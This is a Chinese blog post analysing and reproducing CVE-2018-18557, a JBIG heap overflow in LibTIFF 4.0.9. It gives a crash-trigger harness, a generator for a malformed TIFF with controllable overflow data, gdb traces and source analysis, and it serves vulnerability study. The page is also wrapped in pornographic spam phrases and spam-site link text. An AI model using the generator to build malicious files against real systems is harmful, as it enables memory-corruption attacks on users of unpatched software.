<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      分析CVE-2018-18557與復現

      前言

      cve描述

      LibTIFF 4.0.9 (with JBIG enabled) decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size, which leads to a tif_jbig.c JBIGDecode out-of-bounds write.

      該cve發生在LibTIFF 4.0.9版本中,由于在解碼JBIG的時候沒有對size 進行驗證,在JBIGDecode函數中會造成大量數據的堆溢出

      編譯安裝

      為了復現該漏洞,需要使得LibTIFF 支持jbig解碼功能,所以需要先安裝libjbig-dev

      sudo apt-get install libjbig-dev

      然后編譯安裝LibTIFF 4.0.9,鏈接在此

      ./configure --prefix=/xxxx/xxx/build

      make && make install

      tiff文件格式

      TIFF是Tagged Image File Format的縮寫 , 標簽圖像文件格式

      TIFF與其他文件格式最大的不同在于除了圖像數據,它還可以記錄很多圖像的其他信息。它記錄圖像數據的方式也比較靈活, 理論上來說, 任何其他的圖像格式都能為TIFF所用, 嵌入到TIFF里面。比如JPEG, Lossless JPEG, JPEG2000和任意數據寬度的原始無壓縮數據都可以方便的嵌入到TIFF中去。由于它的可擴展性, TIFF在數字影響、遙感、醫學等領域中得到了廣泛的應用。TIFF文件的后綴是.tif或者.tiff

      Tiff的結構大概是這樣的組成:

      文件頭信息區(IFH)、圖像文件目錄(IFD)和圖像數據區

      而IFD又包含了很多DE( Directory Entry )

      簡單的說,IFD用于存儲描述圖像的屬性信息,如圖像的 長、寬、分辨率等 ,DE就是一個個不同屬性描述。而圖像數據區則直接存儲像素信息的二進制數據

      這里只做簡單介紹,詳細可見: https://www.jianshu.com/p/ff32eb09ed3d

      可以下載他的tiff例子,載入010editor中跟著看,對了解tiff非常有幫助

      觸發漏洞

      參考了一波 https://www.exploit-db.com/exploits/45694

      但發現這上面所謂的poc,只能說是一個用于生成觸發漏洞tiff文件的代碼而已,那具體怎么使用libtiff的代碼才能觸發漏洞,這還得俺自己動手寫

      通過調試+源碼查看,分析函數調用,真正的poc如下

      #include 
      #include "tiffio.h"
      
      int main(int argc, char const *argv[])
      {
          if (argc<2)
          {
              printf("usage: %s \n",argv[0]);
              return -1;
          }
      
          TIFF* tif = TIFFOpen(argv[1], "r");
          if (tif) {
          tdata_t buf;
          tstrip_t strip;
      
          buf = _TIFFmalloc(TIFFStripSize(tif));
          for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
              TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);
          puts("it will crash,because heap space has been overflow:\n");
          _TIFFfree(buf);//<<< crash!
      
          TIFFClose(tif);
          }
      }
      //gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz
      

      編譯poc:

      gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

      這里 使用局部靜態鏈接,只靜態鏈接libtiff,而對其他庫如libjbig、libmath、zlibc等使用動態鏈接,這是為了在調試的時候能直接源碼級調試

      然后編譯exp-db的“testcase_generator.c”

      gcc testcase_generator.c -g -o testcase_generator -ljbig

      #include 
      #include 
      #include 
      #include 
      #include "jbig.h"
      
      void output_bie(unsigned char *start, size_t len, void *file)
      {
        fwrite(start, 1, len, (FILE *) file);
      
        return;
      }
      
      int main(int argc, char**argv)
      {
        FILE* inputfile = fopen(argv[1], "rb");
        FILE* outputfile = fopen(argv[2], "wb");
      
        // Write the hacky TIF header.
        unsigned char buf[] = {
          0x49, 0x49, // Identifier.
          0x2A, 0x00, // Version.
          0xCA, 0x03, 0x00, 0x00, // First IFD offset.
          0x32, 0x30, 0x30, 0x31,
          0x3a, 0x31, 0x31, 0x3a,
          0x32, 0x37, 0x20, 0x32,
          0x31, 0x3a, 0x34, 0x30,
          0x3a, 0x32, 0x38, 0x00,
          0x38, 0x00, 0x00, 0x00,
          0x01, 0x00, 0x00, 0x00,
          0x38, 0x00, 0x00, 0x00,
          0x00, 0x01, 0x00, 0x00
        };
        fwrite(&(buf[0]), sizeof(buf), 1, outputfile);
      
        // Read the inputfile.
        struct stat st;
        stat(argv[1], &st);
        size_t size = st.st_size;
        unsigned char* data = malloc(size);
        fread(data, size, 1, inputfile);
      
        // Calculate how many "pixels" we have in the input.
        unsigned char *bitmaps[1] = { data };
        struct jbg_enc_state se;
      
        jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
        jbg_enc_out(&se);
        jbg_enc_free(&se);
      
        // The raw JBIG data has been written, now write the IFDs for the TIF file.
        unsigned char ifds[] = {
          0x0E, 0x00, // Number of entries.     +0
      
          0xFE, 0x00, // Subfile type.          +2
          0x04, 0x00, // Datatype: LONG.        +6
          0x01, 0x00, 0x00, 0x00, // 1 element. +10
          0x00, 0x00, 0x00, 0x00, // 0          +14
          0x00, 0x01, // IMAGE_WIDTH            +16
          0x03, 0x00, // Datatype: SHORT.       +18
          0x01, 0x00, 0x00, 0x00, // 1 element. +22
          0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
          0x01, 0x01, // IMAGE_LENGTH           +28
          0x03, 0x00, // SHORT                  +30
          0x01, 0x00, 0x00, 0x00, // 1 element  +34
          0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
          0x02, 0x01, // BITS_PER_SAMPLE        +40
          0x03, 0x00, // SHORT                  +42
          0x01, 0x00, 0x00, 0x00, // 1 element  +46
          0x01, 0x00, 0x00, 0x00, // 1          +50
          0x03, 0x01, // COMPRESSION            +52
          0x03, 0x00, // SHORT                  +54
          0x01, 0x00, 0x00, 0x00, // 1 element  +58
          0x65, 0x87, 0x00, 0x00, // JBIG       +62
          0x06, 0x01, // PHOTOMETRIC            +64
          0x03, 0x00, // SHORT                  +66
          0x01, 0x00, 0x00, 0x00, // 1 element  +70
          0x00, 0x00, 0x00, 0x00,          // / +74
          0x11, 0x01, // STRIP_OFFSETS          +78
          0x04, 0x00, // LONG                   +80
          0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
          0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
          0x15, 0x01, // SAMPLES_PER_PIXEL      +90
          0x03, 0x00, // SHORT                  +92
          0x01, 0x00, 0x00, 0x00, // 1 element  +94
          0x01, 0x00, 0x00, 0x00, // 1          +98
          0x16, 0x01, // ROWS_PER_STRIP         +102
          0x04, 0x00, // LONG                   +104
          0x01, 0x00, 0x00, 0x00, // 1 element  +106
          0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
          0x17, 0x01, // STRIP_BYTE_COUNTS      +114
          0x04, 0x00, // LONG                   +116
          0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
          0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
          0x1A, 0x01, // X_RESOLUTION
          0x05, 0x00, // RATIONAL
          0x01, 0x00, 0x00, 0x00, // 1 element
          0x1C, 0x00, 0x00, 0x00,
          0x1B, 0x01, // Y_RESOLUTION
          0x05, 0x00, // RATIONAL
          0x01, 0x00, 0x00, 0x00, // 1 Element
          0x24, 0x00, 0x00, 0x00,
          0x28, 0x01, // RESOLUTION_UNIT
          0x03, 0x00, // SHORT
          0x01, 0x00, 0x00, 0x00, // 1 Element
          0x02, 0x00, 0x00, 0x00, // 2
          0x0A, 0x01, // FILL_ORDER
          0x03, 0x00, // SHORT
          0x01, 0x00, 0x00, 0x00, // 1 Element
          0x02, 0x00, 0x00, 0x00, // Bit order inverted.
          0x00, 0x00, 0x00, 0x00 };
      
        // Adjust the offset for the IFDs.
        uint32_t ifd_offset = ftell(outputfile);
        fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
        fseek(outputfile, 4, SEEK_SET);
        fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);
      
        // Adjust the strip size properly.
        fseek(outputfile, ifd_offset + 118, SEEK_SET);
        fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);
      
        fclose(outputfile);
        fclose(inputfile);
        return 0;
      }
      

      它主要的作用是生成一個可發生堆溢出的tiff文件,且溢出內容可以由我們控制,如創建一個文本文件text,其內容大量填充為aaaa...

      執行./testcase_generator text testcase.tif

      這就會使得大量aaa數據通過JBIG壓縮方式被寫入testcase.tif文件中

      接著執行poc:

      ./poc ./testcase.tif

      成功觸發漏洞:

      image

      這里報錯是,free的時候發現該chunk的next size位異常,這種情況實際上是因為堆溢出太多數據,導致后續free的時候很多chunk被溢出篡改了數據,所以產生了這種報錯

      漏洞分析

      gdb調試

      根據cve信息,我這里直接定位到 JBIGDecode函數,給他整個斷點

      image

      然后一步步nextcall

      直到執行_TIFFmemcpy

      image

      可以看到這個第三個參數就尼瑪離譜,完全沒有任何檢查,該長度就是之前的text文本文件中的字符數量,也就是字符a的個數

      然后來康康這個堆空間0x657b60的大小,只有0xb30

      image

      _TIFFmemcpy的length是0x26d0,巨大的堆溢出就是這么產生的

      源碼分析

      從poc.c結合libtiff來康康完整的函數調用鏈:

      首先是TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);

      在源碼中,TIFFReadEncodedStrip會調用JBIGDecode函數

      TIFFReadEncodedStrip(TIFF* tif, uint32 strip, void* buf, tmsize_t size)
      {
          static const char module[] = "TIFFReadEncodedStrip";
          TIFFDirectory *td = &tif->tif_dir;
          tmsize_t stripsize;
          uint16 plane;
      
          stripsize=TIFFReadEncodedStripGetStripSize(tif, strip, &plane);
          if (stripsize==((tmsize_t)(-1)))
              return((tmsize_t)(-1));
      
          /* shortcut to avoid an extra memcpy() */
          if( td->td_compression == COMPRESSION_NONE &&
              size!=(tmsize_t)(-1) && size >= stripsize &&
              !isMapped(tif) &&
              ((tif->tif_flags&TIFF_NOREADRAW)==0) )
          {
              if (TIFFReadRawStrip1(tif, strip, buf, stripsize, module) != stripsize)
                  return ((tmsize_t)(-1));
      
              if (!isFillOrder(tif, td->td_fillorder) &&
                  (tif->tif_flags & TIFF_NOBITREV) == 0)
                  TIFFReverseBits(buf,stripsize);
      
              (*tif->tif_postdecode)(tif,buf,stripsize);
              return (stripsize);
          }
      
          if ((size!=(tmsize_t)(-1))&&(sizetif_decodestrip)(tif,buf,stripsize,plane)<=0)//調用JBIGDecode
              return((tmsize_t)(-1));
          (*tif->tif_postdecode)(tif,buf,stripsize);
          return(stripsize);
      }
      

      這里沒有明顯出現JBIGDecode函數名,但其實是用了函數指針的方法調用的

      在TIFFInitJBIG函數中聲明了該函數指針:

      int TIFFInitJBIG(TIFF* tif, int scheme)
      {
          assert(scheme == COMPRESSION_JBIG);
      
          /*
       * These flags are set so the JBIG Codec can control when to reverse
       * bits and when not to and to allow the jbig decoder and bit reverser
       * to write to memory when necessary.
       */
          tif->tif_flags |= TIFF_NOBITREV;
          tif->tif_flags &= ~TIFF_MAPPED;
      
          /* Setup the function pointers for encode, decode, and cleanup. */
          tif->tif_setupdecode = JBIGSetupDecode;
          tif->tif_decodestrip = JBIGDecode;//<<<聲明
          tif->tif_setupencode = JBIGSetupEncode;
          tif->tif_encodestrip = JBIGEncode;
      
          return 1;
      }
      

      最后來看JBIGDecode函數

      static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
      {
          struct jbg_dec_state decoder;
          int decodeStatus = 0;
          unsigned char* pImage = NULL;
          (void) size, (void) s;
      
          if (isFillOrder(tif, tif->tif_dir.td_fillorder))
          {
              TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
          }
      
          jbg_dec_init(&decoder);
      
      #if defined(HAVE_JBG_NEWLEN)
          jbg_newlen(tif->tif_rawdata, (size_t)tif->tif_rawdatasize);
      #endif /* HAVE_JBG_NEWLEN */
      
          decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
                        (size_t)tif->tif_rawdatasize, NULL);
          if (JBG_EOK != decodeStatus)
          {
              TIFFErrorExt(tif->tif_clientdata,
                       "JBIG", "Error (%d) decoding: %s",
                       decodeStatus,
      #if defined(JBG_EN)
                       jbg_strerror(decodeStatus, JBG_EN)
      #else
                       jbg_strerror(decodeStatus)
      #endif
                       );
              jbg_dec_free(&decoder);
              return 0;
          }
      
          pImage = jbg_dec_getimage(&decoder, 0);
          _TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
          jbg_dec_free(&decoder);
          return 1;
      }
      
      _TIFFmemcpy(void* d, const void* s, tmsize_t c)
      {
          memcpy(d, s, (size_t) c);
      }
      

      可以看到,這里對jbg_dec_getsize(&decoder)的返回值是完全沒有檢查的,而該函數是直接封裝到libjbig中的,它會直接從tiff文件中讀取長度,因此過長的長度也不會被檢查出來,由此引發堆溢出的漏洞

      posted @ 2022-02-17 15:54  白鷺鷺鷺  閱讀(301)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 天天操夜夜操| 强插少妇视频一区二区三区| 成人无码影片精品久久久| 女人18片毛片60分钟| 综合久青草视频在线观看| 国产成人亚洲精品狼色在线 | 精品午夜福利在线视在亚洲| 中文字幕日韩一区二区不卡| 国产中文字幕在线精品| 激情国产一区二区三区四| 久久人与动人物a级毛片| 色五月丁香六月欧美综合| 蜜桃臀av一区二区三区| 偷自拍另类亚洲清纯唯美| 精品尤物TV福利院在线网站| 欧美成人h精品网站| 色综合中文字幕色综合激情 | 国产精品一区在线蜜臀| 爱性久久久久久久久| 国产成人无码精品久久久露脸| 又大又粗又爽的少妇免费视频 | 国产精品久久久午夜夜伦鲁鲁| 日韩精品有码中文字幕| 国产精品嫩草99av在线| 国产成人影院一区二区三区| 中文字幕人妻日韩精品| 免费人妻无码不卡中文18禁| 又大又黄又粗高潮免费| 东京热人妻无码一区二区av| 亚洲一区二区约美女探花 | 日本va欧美va精品发布| 成人免费视频一区二区三区| 九九热中文字幕在线视频| 黑人大群体交免费视频| 亚洲国产码专区在线观看| 亚洲日本欧洲二区精品 | 国产首页一区二区不卡| 精品人妻伦九区久久69| 亚洲精品成人片在线观看精品字幕| 日本一区二区三区专线| 久久一区二区中文字幕|